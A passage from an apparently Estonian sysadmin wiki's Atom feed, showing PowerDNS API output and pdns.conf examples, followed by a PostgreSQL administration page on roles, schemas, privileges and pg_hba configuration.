  &amp;quot;edited_serial&amp;quot;: 2026010802,&lt;br /&gt;
  &amp;quot;id&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;kind&amp;quot;: &amp;quot;Master&amp;quot;,&lt;br /&gt;
  &amp;quot;last_check&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;master_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;masters&amp;quot;: [],&lt;br /&gt;
  &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
  &amp;quot;notified_serial&amp;quot;: 0,&lt;br /&gt;
  &amp;quot;nsec3narrow&amp;quot;: false,&lt;br /&gt;
  &amp;quot;nsec3param&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;rrsets&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee. hostmaster.moraal.ee. 2026010801 86400 7200 2419200 10800&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;SOA&amp;quot;&lt;br /&gt;
    },&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;comments&amp;quot;: [],&lt;br /&gt;
      &amp;quot;name&amp;quot;: &amp;quot;zone-moraal-imre-test-01.ee.&amp;quot;,&lt;br /&gt;
      &amp;quot;records&amp;quot;: [&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans1.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        },&lt;br /&gt;
        {&lt;br /&gt;
          &amp;quot;content&amp;quot;: &amp;quot;ans2.moraal.ee.&amp;quot;,&lt;br /&gt;
          &amp;quot;disabled&amp;quot;: false&lt;br /&gt;
        }&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;ttl&amp;quot;: 3600,&lt;br /&gt;
      &amp;quot;type&amp;quot;: &amp;quot;NS&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
  ],&lt;br /&gt;
  &amp;quot;serial&amp;quot;: 2026010801,&lt;br /&gt;
  &amp;quot;slave_tsig_key_ids&amp;quot;: [],&lt;br /&gt;
  &amp;quot;soa_edit&amp;quot;: &amp;quot;&amp;quot;,&lt;br /&gt;
  &amp;quot;soa_edit_api&amp;quot;: &amp;quot;DEFAULT&amp;quot;,&lt;br /&gt;
  &amp;quot;url&amp;quot;: &amp;quot;/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee.&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui pole ligipääsu saab sellise vastuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4222</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4222"/>
		<updated>2026-06-15T15:57:52Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
